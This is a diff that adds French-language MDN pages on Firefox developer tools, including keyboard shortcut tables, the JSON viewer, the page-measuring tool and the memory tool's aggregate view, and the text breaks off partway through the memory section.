Note: Le terme utilisé pour designer l'interface qui contient tout les outils de dévelopement est: La boîte à outils.

+
+ +

Outils supplémentaires

+ +

Ces outils sont également inclus dans Firefox. Mais, contrairement aux « Outils principaux », il est possible qu'ils soient utilisés moins régulièrement.

+ +
+
+
Mémoire
+
Déterminer quels objets prennent de la place en mémoire.
+
Inspecteur de Stockage
+
Inspecter les cookies, le stockage local, l'indexedDB, et le stockage de session présent dans une page.
+
DOM Property Viewer
+
Inspecter les propriétés DOM d'une page (fonctions, etc.)
+
Pipette
+
Sélectionner une couleur de la page.
+
Ardoise JavaScript
+
Un éditeur de texte intégré à Firefox qui permet d'écrire et d'exécuter du JavaScript..
+
Éditeur de Styles
+
Voir et modifier les styles CSS de la page affichée.
+
Éditeur de Shaders
+
Voir et éditer les vertex shaders et les fragment shaders utilisés par WebGL.
+
Éditeur Web Audio
+
Examiner les nœuds audio dans un contexte audio, et modifier leurs paramètres.
+
Capture d'écran
+
Prendre une capture d'écran de la page entière ou d'un seul élément
+
Mesurer une portion de la page
+
Mesurer une zone spécifique de la page web
+
Règles
+
Afficher des règles verticales et horizontales sur une page web
+
+
+ +
+
+
+

+ +

Pour avoir la dernière version des outils de développement, il y a : Firefox Developer Edition

+ +

Télécharger Firefox Developer Edition

+
+
+ +

Connecter les outils de développement

+ +

Si vous ouvrez les outils de développent avec des raccourcis clavier ou les éléments équivalents du menu, ils cibleront la page actuellement ouverte dans l'onglet actif. Il est cependant possible également d'attacher ces outils à diverses autres cibles, à la fois dans le navigateur ouvert et dans d'autres navigateurs et même dans d'autres appareils.

+ +
+
+
about:debugging
+
Déboguer des modules complémentaires, des onglets de contenu et ceux qui travaillent dans l'explorateur.
+
Se connecter à Firefox pour Android
+
Connecter les outils de développement à une instance de Firefox s'exécutant sur un appareil Android.
+
Se connecter aux iframes
+
Connecter les outils de développement sur un iframe donné dans la page en cours.
+
Se connecter aux autres navigateurs
+
Connecter les outils de développement à Chrome pour Android et Safari pour IOS.
+
+
+ +
+

Déboguer le navigateur

+ +

Par défaut, les outils de développement sont attachés à une page ou une application Web. Il est cependant possible de les connecter au navigateur en lui même. C'est utile lors de développements portant sur le navigateur ou sur un module complémentaire.

+ +
+
+
Console du navigateur
+
Voir les messages issus du navigateur lui-même et des modules, et exécuter du code JavaScript dans le contexte du navigateur.
+
Boîte à outils du navigateur
+
Attacher les outils de développement au navigateur lui-même.
+
+
+ +
+

Étendre les outils de développement

+ +

Pour en savoir plus sur l'extension des outils de développement de Firefox, voir Extension des outils de développement dans la section WebExtensions de MDN.

+ +

Migrer de Firebug

+ +

Firebug est arrivé en fin de vie (voir Firebug, présent en esprit dans les outils de Firefox sur le pourquoi du comment), et nous sommes conscients que certains peuvent avoir du mal à faire la transition. Pour faciliter celle-ci, nous avons écrit un guide pratique : Migrer depuis Firebug.

+ +
+

Contribuer

+ +

Si vous voulez aider à améliorer les outils de développement, voici les ressources qui vous mettront le pied à l'étrier :

+ +
+
+
S'impliquer
+
La page de documentation expliquant comment s'impliquer.
+
firefox-dev.tools
+
Un outil pour aider à trouver des bugs sur lesquels travailler.
+
+
diff --git a/files/fr/tools/index/index.html b/files/fr/tools/index/index.html new file mode 100644 index 0000000000..7b9cbade37 --- /dev/null +++ b/files/fr/tools/index/index.html @@ -0,0 +1,8 @@ +--- +title: Index +slug: Outils/Index +tags: + - Outils +translation_of: Tools/Index +--- +
{{ToolsSidebar}}

{{Index("/fr/docs/Outils")}}

diff --git a/files/fr/tools/json_viewer/index.html b/files/fr/tools/json_viewer/index.html new file mode 100644 index 0000000000..d92e1ae379 --- /dev/null +++ b/files/fr/tools/json_viewer/index.html @@ -0,0 +1,22 @@ +--- +title: Lecteur JSON +slug: Outils/JSON_viewer +translation_of: Tools/JSON_viewer +--- +
{{ToolsSidebar}}
+

Le Lecteur JSON est une des nouveautés de Firefox 44.

+ +

Avant Firefox 53, le Lecteur JSON n'est activé par défaut que dans Firefox Developer Edition et Firefox Nightly. Pour activer cette fonctionnalité dans les autres  versions, il faut passer la préférence devtools.jsonview.enabled à true dans about:config

+ +

Depuis Firefox 53, le Lecteur JSON est également activé par défaut dans Firefox Beta et dans la version normale de Firefox.

+
+ +

Firefox inclut un lecteur JSON. Lors de l'ouverture d'un fichier JSON ou d'une URL distante avec un Content-Type application/json, il est alors parsé et affiché avec coloration syntaxique. Les tableaux et les objets sont affichés réduits, et peuvent être étendus en cliquant sur les icônes "+".

+ +

{{EmbedYouTube("ktFcevMwYXw")}}

+ +

Le Lecteur JSON fournit également une barre de recherche pour filtrer le JSON.

+ +

Il est également possible d'afficher le JSON originel ainsi que de le formater et l'indenter.

+ +

Enfin, si le document était le résultat d'une requête réseau, le lecteur affiche la requête ainsi que les entêtes de réponse.

diff --git a/files/fr/tools/keyboard_shortcuts/index.html b/files/fr/tools/keyboard_shortcuts/index.html new file mode 100644 index 0000000000..0861359c77 --- /dev/null +++ b/files/fr/tools/keyboard_shortcuts/index.html @@ -0,0 +1,1134 @@ +--- +title: Raccourcis claviers +slug: Outils/Raccourcis_claviers +tags: + - Tools +translation_of: Tools/Keyboard_shortcuts +--- +
{{ToolsSidebar}}
+ +

Cette page liste tous les raccourcis clavier utilisés par les outils de développement intégrés à Firefox.

+ +

La première section liste les raccourcis utilisés pour ouvrir chaque outil. La deuxième section liste les raccourcis concernant la boîte à outils. Chaque section suivante concernera un outil et ses raccourcis dédiés.

+ +

Les raccourcis d'accessibilité, dépendants de la locale, ne sont pas documentés sur cette page.

+ +

Ouvrir et fermer les outils

+ +

Ces raccourcis fonctionnent dans la fenêtre principale du navigateur et permettent d'ouvrir un outil donné. Pour les outils situés dans la boîte à outils, ils permettent aussi de fermer l'outil si celui-ci est déjà ouvert. Pour les outils qui s'ouvrent dans une nouvelle fenêtre (tels que la console), vous devrez fermer la fenêtre pour fermer l'outil.

+ +
+

Note: Avant Firefox 66, la combinaison Ctrl + Maj + S sur Windows et Linux ou Cmd + Opt + S sur macOS ouvrait/fermait le Débogueur. Depuis Firefox 66, ce n'est plus le cas.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Boîte à outils (s'ouvre sur le dernier outil utilisé)Ctrl + Maj + ICmd + Opt + ICtrl + Maj + I
Mettre la Boîte à outils au premier plan (si la boite est ouverte dans une autre fenêtre qui n'est pas au premier plan)Ctrl + Maj + I or F12Cmd + Opt + I or F12Ctrl + Maj + I or F12
Fermer la Boîte à outils (si la boite est ouverte dans une fenêtre séparée et est au premier plan)Ctrl + Maj + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Console Web1Ctrl + Maj + KCmd + Opt + KCtrl + Maj + K
InspecteurCtrl + Maj + CCmd + Opt + CCtrl + Maj + C
Éditeur de styleMaj + F7Maj + F71Maj + F7
ProfileurMaj + F5Maj + F51Maj + F5
Réseau 2Ctrl + Maj + ECmd + Opt + ECtrl + Maj + E
Barre de développement (afficher/masquer)Maj + F2Maj + F21Maj + F2
Vue adaptative (afficher/masquer)Ctrl + Maj + MCmd + Opt + MCtrl + Maj + M
Console du navigateur3Ctrl + Maj + JCmd + Opt + JCtrl + Maj + J
Boite à outils du navigateurCtrl + Alt +Maj + ICmd + Opt +Maj + ICtrl + Alt +Maj + I
Ardoise JavaScriptMaj + F4Maj + F4Maj + F4
WebIDEMaj + F8Maj + F8Maj + F8
Inspecteur de Stockage 4Maj + F9Maj + F9Maj + F9
+ +

1. Contrairement aux autres outils de la boîte à outils, ce raccourci ne ferme pas également la console. Pour la console, cela passe le focus sur la ligne de commande de la console. Pour fermer la console, utilisez le raccourci global de la boîte à outils de Ctrl + Maj + I (Cmd + Opt + I sur Mac).

+ +

2. Avant Firefox 55 le raccourci était Ctrl + Maj + Q (Cmd + Opt + Q sur Mac).

+ +

3. Avant Firefox 38, quand la console du navigateur était cachée par une fenêtre de Firefox, le raccourci clavier fermait la console. Depuis Firefox 38, ce raccourci clavier met la console au premier plan.

+ +

4. L'outil est désactivé par défaut. Le raccourci ne fonctionnera pas tant que l'outil n'aura pas été activé dans le panneau des Options des outils.

+ +

Outils de développement

+ +
+

Ces raccourcis fonctionnent quand les outils sont ouverts, quel que soit l'outil sélectionné.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Faire défiler les outils de gauche à droiteCtrl + ]Cmd + ]Ctrl + ]
Faire défiler les outils de droite à gaucheCtrl + [Cmd + [Ctrl + [
Alterner entre l'outil ouvert et les optionsCtrl + Maj + OCmd + Maj + OCtrl + Maj + O
Alterner entre l'outil ouvert et les options (depuis Firefox 43)F1F1F1
Alterner entre les deux derniers modes d'ancrages (depuis Firefox 41)Ctrl + Maj + DCmd + Maj + DCtrl + Maj + D
Activer la console scindée (sauf si l'outil sélectionné est la Console)EscEscEsc
+
+ +
+

Ces raccourcis fonctionnent pour tous les outils dans la boîte à outils.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Augmenter la taille de la policeCtrl + +Cmd + +Ctrl + +
Diminuer la taille de la policeCtrl + -Cmd + -Ctrl + -
Réinitialiser la taille de la policeCtrl + 0Cmd + 0Ctrl + 0
+
+ +

Éditeur de code source

+ +
+

Cette liste présente les raccourcis par défaut pour l'éditeur de code source.

+ +

Dans les options de l'éditeur, vous pouvez choisir d'utiliser les raccourcis Vim, Emacs, ou Sublime Text.

+ +

Pour les sélectionner, rendez-vous dans about:config, sélectionnez le paramètre devtools.editor.keymap et lui affecter la valeur « vim », « emacs », ou « sublime ». Ainsi, les commandes sélectionnées seront utilisées pour tous les outils de développement qui utilisent l'éditeur de source. Il vous faudra réouvrir l'éditeur pour que ce changement soit pris en compte.

+ +

A partir de Firefox 33, cette option est directement disponible dans la section des préférences de l'éditeur dans le panneau « Options des outils » (plutôt que de passer par about:config).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Aller à la ligneCtrl + JCmd + JCtrl + J
Chercher dans le documentCtrl + FCmd + FCtrl + F
Chercher à nouveauCtrl + GCmd + GCtrl + G
Tout sélectionnerCtrl + ACmd + ACtrl + A
CouperCtrl + XCmd + XCtrl + X
CopierCtrl + CCmd + CCtrl + C
CollerCtrl + VCmd + VCtrl + V
AnnulerCtrl + ZCmd + ZCtrl + Z
RétablirCtrl + Maj + Z / Ctrl + YCmd + Maj + Z / Cmd + YCtrl + Maj + Z / Ctrl + Y
IndenterTabTabTab
DésindenterMaj + TabMaj + TabMaj + Tab
Déplacer la/les ligne(s) vers le hautAlt + HautAlt + HautAlt + Haut
Déplacer la/les ligne(s) vers le basAlt + BasAlt + BasAlt + Bas
Commenter/décommenter la/les ligne(s)Ctrl + /Cmd + /Ctrl + /
+
+ +

Inspecteur de document

+ +
+ + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Ouvrir l'inspecteurCtrl + Maj + CCmd + Opt + CCtrl + Maj + C
+ +

Sélecteur de noeuds

+ +

Ces raccourcis fonctionnent lorsque le sélecteur de noeuds est actif.

+ + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Sélectioner l'élément en dessous de la souris et arrête la sélectionClicClicClic
Sélectioner l'élément en dessous de la souris et continue la sélectionShift+ClickShift+ClickShift+Click
+ +

Onglet HTML

+ +

Ces raccourcis fonctionnent dans l'onglet HTML de l'inspecteur.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Supprimer le nœud sélectionnéSupprSupprSuppr
Annuler la suppression d'un nœudCtrl + ZCmd + ZCtrl + Z
Rétablir la suppression d'un nœudCtrl + Maj + Z / Ctrl + YCmd + Maj + Z / Cmd + YCtrl + Maj + Z / Ctrl + Y
Aller au prochain nœud (développe les nœuds uniquement)Flèche basFlèche basFlèche bas
Aller au nœud précédentFlèche hautFlèche hautFlèche haut
Aller au premier nœud dans l'arbreDébutDébutDébut
Aller au dernier nœud dans l'arbreFinFinFin
Développer le nœud actuellement sélectionnéFlèche droiteFlèche droiteFlèche droite
Réduire le nœud actuellement sélectionnéFlèche gaucheFlèche gaucheFlèche gauche
(Lorsqu'un nœud est sélectionné) Itérer parmi les attributsEntréeRetourEntrée
Défiler vers l'avant parmi les attributs du nœudTabTabTab
Défiler vers l'arrière parmi les attributs du nœudMaj + TabMaj + TabMaj + Tab
(Lorsqu'un nœud est sélectionné) Commencer à modifier l'attribut sélectionnéEntréeEntréeEntrée
Masquer/Afficher le nœud sélectionnéHHH
Focus sur le champs de recherche du panneau HTMLCtrl + FCmd + FCmd + F
Éditer le code HTMLF2F2F2
Arrêter d'éditer le code HTMLF2 / Ctrl +EntréeF2 / Cmd +EntréeF2 / Ctrl +Entrée
Copier l'extérieur du HTML du noeud sélectionné (depuis Firefox 42)Ctrl + CCmd + CCtrl + C
Faire défiler jusqu'à ce que le noeud soit visible (depuis Firefox 44)SSS
Trouver la prochaine occurrence dans le markup, lorsque que la recherche est active.EntréeEntréeEntrée
Trouver l'occurrence précédente dans le markup, lorsque que la recherche est active (depuis Firefox 48).Maj + EntréeMaj + EntréeMaj + Entrée
+ +

Fil d'ariane

+ +

Ces raccourcis fonctionnent lorsque le fil d'Ariane est sélectionné.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Aller à l'élément précédent dans le fil d'Ariane.Flèche gaucheFlèche gaucheFlèche gauche
Aller à l'élément suivant dans le fil d'Ariane.Flèche droiteFlèche droiteFlèche droite
Sélectionner le panneau HTMLMaj + TabMaj + TabMaj + Tab
Sélectionner le panneau CSSTabTabTab
+ +

Onglet CSS

+ +

Ces raccourcis fonctionnent dans le onglet CSS de l'Inspecteur.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Sélectionner la barre de recherche dans la panneau CSSCtrl + FCmd + FCtrl + F
Supprimer le contenu de la boite de recherche (seulement lorsque la boîte est sélectionnée, et contient du contenu)EchapEchapEchap
Défiler vers l'avant parmi les propriétés et les valeursTabTabTab
Défiler vers l'arrière parmi les propriétés et les valeursMaj + TabMaj + TabMaj + Tab
Commencer à éditer une propriété ou une valeur (dans la vue des règles seulement quand une valeur est sélectionnée et n'a pas été éditéeEntrée ou EspaceRetour ou EspaceEntrée ou Espace
Itérer parmi les suggestions d'autocomplétion (dans la vue des règles, quand une valeur est en éditionFlèche haut , Flèche basFlèche haut , Flèche basFlèche haut , Flèche bas
Choisir la suggestion d'autocomplétion sélectionnée (dans les vues des règles, quand une propriété ou une valeur est en édition)Entrée ou TabRetour ou TabEntrée ou Tab
Incrémenter la valeur sélectionnée de 1Flèche HautFlèche HautFlèche Haut
Décrémenter la valeur sélectionnée de 1Flèche BasFlèche BasFlèche Bas
Incrémenter la valeur sélectionnée de 10Maj + Flèche HautMaj + Flèche HautMaj + Flèche Haut
Décrémenter la valeur sélectionnée de 10Maj + Flèche BasMaj + Flèche BasMaj + Flèche Bas
Incrémenter la valeur sélectionnée de 100Maj + Page HautMaj + Page HautMaj + Page Haut
Décrémenter la valeur sélectionnée de 100Maj + Page BasMaj + Page BasMaj + Page Bas
Incrémenter la valeur sélectionnée de 0.1Alt + Flèche Haut (Ctrl + Flèche Haut depuis Firefox 60)Opt + Flèche HautAlt + Flèche Haut (Ctrl + Flèche Haut depuis Firefox 60)
Décrémenter la valeur sélectionnée de 0.1Alt + Flèche Bas(Ctrl + Flèche Bas depuis Firefox 60)Opt + Flèche BasAlt + Flèche Bas (Ctrl + Flèche Bas depuis Firefox 60)
+

Afficher/Masquer plus d'informations sur la propriété sélectionnée (vue "Calculé", quand une propriété est sélectionnée) (depuis Firefox 49)

+ 		Entrée ou EspaceEntrée ou EspaceEntrée ou Espace
Ouvrir la page MDN concernant la propriété sélectionnée (vue "Calculé", quand une propriété est sélectionnée) (depuis Firefox 49)F1F1F1
Ouvrir le fichier CSS sélectionnée (vue "Calculé", quand plus d'informations sont affichées pour une propriété et qu'un fichier CSS en référence est sélectionné) (depuis Firefox 49)EntréeRetourEntrée
+
+ +

Débogueur

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Rechercher une chaine de caractères dans la source actuelleCtrl + FCmd + FCtrl + F
Rechercher une chaine de caractères dans toutes les sourcesCtrl + Maj + FCmd + Maj + FCtrl + Maj + F
Chercher le suivant dans la source actuelleCtrl + GCmd + GCtrl + G
Rechercher les scripts par nomCtrl + PCmd + PCtrl + P
Reprendre l'exécution depuis un point d'arrêtF8F8 1F8
Passer la fonctionF10F10 1F10
Entrer dans la fonctionF11F11 1F11
Sortir de la fonctionMaj + F11Maj + F11 1Maj + F11
Ajouter/Supprimer un point d'arrêt sur la ligne sélectionnéeCtrl + BCmd + BCtrl + B
Ajouter/Supprimer un point d'arrêt conditionnel sur la ligne sélectionnéeCtrl + Maj + BCmd + Maj + BCtrl + Maj + B
+ +

1. Sur certains Mac, les touches fonctions sont reconfigurées par défaut pour une fonction particulière, comme le réglage du volume ou de la luminosité. Consultez ce guide pour utiliser ces touches comme des touches fonctions standards. Pour utiliser une touche reconfigurée comme une touche standard, maintenir la touche fonction enfoncée (ainsi pour ouvrir le profileur, utiliser Maj + Function + F5).

+ +
+

Note: Avant Firefox 66, la combinaison Ctrl + Maj + S sur Windows et Linux ou Cmd + Opt + S sur macOS ouvrait/fermait le Débogueur. Depuis Firefox 66, ce n'est plus le cas

+
+
+ +

Console Web

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Ouvrir la console WebCtrl + Maj + KCmd + Opt + KCtrl + Maj + K
Rechercher le texte dans les messages de la consoleCtrl + FCmd + FCtrl + F
Ouvrir le panneau de l'inspecteur d'objectCtrl + ClicCtrl + ClicCtrl + Clic
Fermer le panneau de l'inspecteur d'objetÉchapÉchapÉchap
Focus sur la ligne de commandeCtrl + Maj + KCmd + Opt + KCtrl + Maj + K
Effacer les messages +

Ctrl + Maj + L

+ 		+

Cmd + L

+ +

Depuis Firefox 67 :

+ +

Cmd + K

+ 		+

Ctrl + Maj + L

+
+ +

Interpréteur de ligne de commande

+ +

Ces raccourcis fonctionnent lorsque vous êtes dans al popup de l'interpréteur de ligne de commande.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Si la ligne de commande est vide : revenir au début des messages de la consoleDébutDébutDébut
Si la ligne de commande est vide : défile jusqu'à la fin des messages dans la consoleFinFinFin
Défilement vers le haut de la sortie de la consolePage HautPage HautPage Haut
Défilement vers le bas de la sortie de la consolePage BasPage BasPage Bas
Reculer dans l'historique des commandesFlèche HautFlèche HautFlèche Haut
Avancer dans l'historique des commandesFlèche BasFlèche BasFlèche Bas
Initie une recherche inverse dnas l'historiqueme des commandes/revient en arrière parmis les commandes correspondantesF9F9F9
Itérer en avant parmis les commandes coresspondantes (après avoir initié une recherche inverse)  Maj+ F9  Maj+ F9  Maj+ F9
Aller au début de la ligneDébutCmd + ACtrl + A
Aller à la fin de la ligneFinCmd + ECtrl + E
Exécuter l'expression couranteEntréeRetourEntrée
Ajouter une nouvelle ligne, pour saisir des expressions multilignesMaj + EntréeMaj + RetourMaj + Entrée
+ +

Fenêtre d'auto-complétion

+ +

Ces raccourcis fonctionnent lorsque fenêtre d'auto-complétion est ouvert :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Choisir la suggestion d'auto-complétion couranteTabTabTab
Annuler la fenêtre d'auto-complétionÉchapÉchapÉchap
Aller à la précédente suggestion d'auto-complétionFlèche HautFlèche HautFlèche Haut
Aller à la prochaine suggestion d'auto-complétionFlèche BasFlèche BasFlèche Bas
Défiler vers le haut dans les suggestions d'auto-complétionPage HautPage HautPage Haut
Défiler vers le bas dans les suggestions d'auto-complétionPage BasPage BasPage Bas
Défile jusqu'au début des suggestions d'auto-complétion (à partir de Firefox 34)DébutDébutDébut
Défile jusqu'à la fin des suggestions d'auto-complétion (à partir de Firefox 34)FinFinFin
+
+ +

Éditeur de style

+ +
+ + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Ouvrir l'Éditeur de styleMaj + F7Maj + F7Maj + F7
Ouvrir la fenêtre d'auto-complétionCtrl + EspaceCmd + EspaceCtrl + Espace
+
+ +
+

Ardoise JavaScript

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Ouvrir l'ArdoiseMaj + F4Maj + F4Maj + F4
Exécuter le code de l'ArdoiseCtrl + RCmd + RCtrl + R
Exécuter le code de l'Ardoise, afficher le résultat dans l'inspecteur d'objetsCtrl + ICmd + ICtrl + I
Exécuter le code de l'Ardoise, insérer le résultat en tant que commentaireCtrl + LCmd + LCtrl + L
Réévaluer la fonction couranteCtrl + ECmd + ECmd + E
Recharger le document courant puis exécuter le code de l'ArdoiseCtrl + Maj + RCmd + Maj + RCtrl + Maj + R
Enregistrer le fichierCtrl + SCmd + SCtrl + S
Ouvrir un fichier existantCtrl + OCmd + OCtrl + O
Créer un nouveau fichierCtrl + NCmd + NCtrl + N
Fermer l'ArdoiseCtrl + WCmd + WCtrl + W
Formater et indenter dans l'ArdoiseCtrl + PCmd + PCtrl + P
Afficher les suggestions d'auto-complétion (nouveauté de Firefox 32)Ctrl + EspaceCtrl + EspaceCtrl + Espace
Afficher la documentation intégrée (nouveauté de Firefox 32)Maj + EspaceMaj + EspaceMaj + Espace
Afficher la documentation intégrée (à partir de Firefox 33)Ctrl + Maj + EspaceCtrl + Maj + EspaceCtrl + Maj + Espace
+
+ +
+

Pipette

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CommandeWindowsmacOSLinux
Sélectionner la couleur couranteEntréeEntréeEntrée
Désactiver la pipetteÉchapÉchapÉchap
Déplacer de 1 pixelFlèchesFlèchesFlèches
Déplacer de 10 pixelsMaj + FlèchesMaj + FlèchesMaj + Flèches
+
diff --git a/files/fr/tools/measure_a_portion_of_the_page/index.html b/files/fr/tools/measure_a_portion_of_the_page/index.html new file mode 100644 index 0000000000..4837589662 --- /dev/null +++ b/files/fr/tools/measure_a_portion_of_the_page/index.html @@ -0,0 +1,31 @@ +--- +title: Measure a portion of the page +slug: Outils/Measure_a_portion_of_the_page +translation_of: Tools/Measure_a_portion_of_the_page +--- +
{{ToolsSidebar}}
+ +

Nouveau dans Firefox 59.

+ +

Depuis Firefox 59, il est possible de mesurer une zone spécifique d'une page web, en utilisant l'outil mesurer une zone de la page.

+ +

Cet outil est caché par défaut. Pour activer ce bouton il faut :

+ + + +

Un nouveau bouton apparaitra en haut de la page, à côté du bouton des options.

+ +

+ +

Il suffit alors de cliquer sur ce bouton pour activer l'outil. Une fois activé, un viseur apparait sur le curseur et affiche ses coordonnées à côté.

+ +

+ +

Lorsque la souris est déplacée avec son bouton enfoncé, l'outil commence a dessiner un rectangle avec les dimensions x,y et diagonale affichée. Les unités sont en pixels.

+ +

Lorsque le bouton souris est relâché, le rectangle ne disparait pas afin de pouvoir prendre des captures d'écrans, noter l'information, etc. Pour supprimer le rectangle il suffit de cliquer à nouveau.

+ +

diff --git a/files/fr/tools/memory/aggregate_view/index.html b/files/fr/tools/memory/aggregate_view/index.html new file mode 100644 index 0000000000..add2eb1979 --- /dev/null +++ b/files/fr/tools/memory/aggregate_view/index.html @@ -0,0 +1,149 @@ +--- +title: Vue "Agrégats" +slug: Outils/Memory/Aggregate_view +translation_of: Tools/Memory/Aggregate_view +--- +
{{ToolsSidebar}}

Avant Firefox 48 il s'agissait de la vue par défaut. Après Firefox 48, la vue "Carte proportionnelle" est la vue par défaut. Pour afficher la vue "Agrégats", il suffit de le sélectionner dans la liste déroulante "vue" :

+ +

+ +

Cette vue ressemble à ceci :

+ +

+ +

Cela représente un tableau qui affiche une liste triée du contenu de la heap. Il y a trois façons différentes de visualiser la heap :

+ +
    +
  • {{anch("Type")}}
    • +
  • {{anch("Call Stack")}}
    • +
  • {{anch("Inverted Call Stack")}}
    • +
+ +

Pour passer de l'une à l'autre, il suffit d'utiliser la liste déroulante "Trier par" en haut du panneau.

+ +

En haut à droite, se trouve le champ "Filtrer". Il permet de filtrer le contenu affiché, afin par exemple de pouvoir rapidement voir combien d'objets d'une classe ont été alloués.

+ +

Type

+ +

Il s'agit du tri par défaut qui ressemble à ceci :

+ +

+ +

Cette option regroupe la heap par grandes catégories :

+ +
    +
  • JavaScript objects: tels que des Function ou des Array
    • +
  • DOM elements: tel que HTMLSpanElement ou Window
    • +
  • Strings: listées en tant que "strings"
    • +
  • JavaScript sources: listées en tant que "JSScript"
    • +
  • Internal objects: tels que "js::Shape". Ce type est préfixé de "js::".
    • +
+ +

Chaque type occupe une ligne du tableau. Les lignes sont triées par ordre décroissant d'utilisation mémoire. Par exemple dans la capture d'écran ci-dessus, il est possible de voir que les Objects JavaScriptoccupent la plus grande partie de la mémoire. Suivis par les stings.

+ +
    +
  • La colone "Somme" affiche le nimbre total d'objets alloués dans chaque catégorie.
    • +
  • La colonne "Octets" affiche le nombre d'octets occupés par les objets de chaque catégorie, et le pourcentage de la taille totale de la heap que cela représente.
    • +
+ +
+
Les captures d'écran sur cette page montrent des instantanés capturés grâce à l'exemple "monster"
+
+ +

Par exemple, dans la capture d'écran ci-dessus, on peut voir que :

+ +
    +
  • Il y a quatre objects Array
    • +
  • Ceux-ci représentent 15% de la heap totale.
    • +
+ +

A coté du nom de chaque type, on trouve une icône en forme de trois étoiles en triangle :

+ +

+ +

Cliquer sur cette icône affichera toutes les instances de ce type. Par exemple cliquer sur l'icône de Array affichera les quatre instances :

+ +

+ +

Pour chaque instance, on peut voir taille retenue et la taille de l'objet de cette instance. Dans ce cas, il est possible de voir que les trois premiers tableaux ont une taille importante (5% du total de la heap) et une traille retenue encore plus importante (26% du total).

+ +

Dans la partie droite, on retrouve un panneau qui affiche simplement une phrase. Sélectionner un noeud affichera chemins de rétention :

+ +

+ +

{{EmbedYouTube("uLjzrvx_VCg")}}

+ +

Call Stack

+ +

La pile d'allocation (call stack) affiche exactement ou dans le code sont faites des allocations sur la heap.

+ +

Cette option étant gourmande en terme de performances, elle n'est pas activée par défaut. Pour l'activer, il faut cocher la case "Enregistrer les piles d'allocations avant d'allouer la mémoire dans la capture.

+ +

Une liste de toutes les fonctions qui ont alloué des objets s'affichera alors. Cette liste est triée par la taille des allocations :

+ +


+ La structure de ce tri ressemble fortement à celle de l'Arbre d'appel, à ceci près qu'il montre les allocations plutôt que des échantillons de processus. Par exemple, la première ligne ligne affiche que :

+ +
    +
  • 4,832,592 octets (93% de l'utilisation totale de la heap), ont été alloués dans une fonction à la ligne 35 du fichier "alloc.js", ou dans des fonctions appelées par cette fonction
    • +
+ +

Il est possible d'utiliser l'icône en forme de triangle pour avoir plus de précisions et trouver l'endroit exact d'où l'allocation à été faite.

+ +

Il est plus simple d'expliquer ce comportement avec un exemple. Cette page contient contient simplement un script qui génère un grand nombre de nœuds DOM (200 objets HTMLDivElement et 4000 objets HTMLSpanElement) :

+ +

Réalisons maintenant une allocation trace. Pour cela, il faut :

+ +
    +
  1. Ouvrir l'outil Mémoire
    2. +
  2. Cocher "Enregistrer les piles d'allocations"
    3. +
  3. Charger la page https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html
    4. +
  4. Prendre une capture
    5. +
  5. Choisir la vue "Agrégats"
    6. +
  6. Choisir le regroupement par "Call Stack"
    7. +
+ +

{{EmbedYouTube("aZ5Rq9lXD80")}}

+ +

Quelque chose comme ceci devrait apparaitre :

+ +

+ +

Cela révèle que 93% sont allouées par des fonctions appelées depuis "alloc.js", à la ligne 35 (le premier appel à createToolbars()).

+ +

Afin de savoir exactement d'où est allouée la mémoire, il est possible de développer la ligne :

+ +

+ +

C'est dans ce cas que les colonnes "Octets" et "Somme" sont utiles. Elles révèlent en effet la taille et le nombre des allocations faites à ce point précis.

+ +

Ainsi dans l'exemple ci-dessus, ile est possible de voir que dans createToolbarButton(), à la ligne 9 de alloc.js, 4002 allocations ont été faites et que cela représente 89% de la heap totale. Il s'agit de l'endroit exact ou les éléments {{HTMLElement("span")}} sont crées.

+ +

Les noms de fichier et leur numéro de ligne sont des liens : cliquer dessus ouvrira la ligne en question dans le Débogueur :

+ +

{{EmbedYouTube("zlnJcr1IFyY")}}

+ +

Inverted Call Stack

+ +

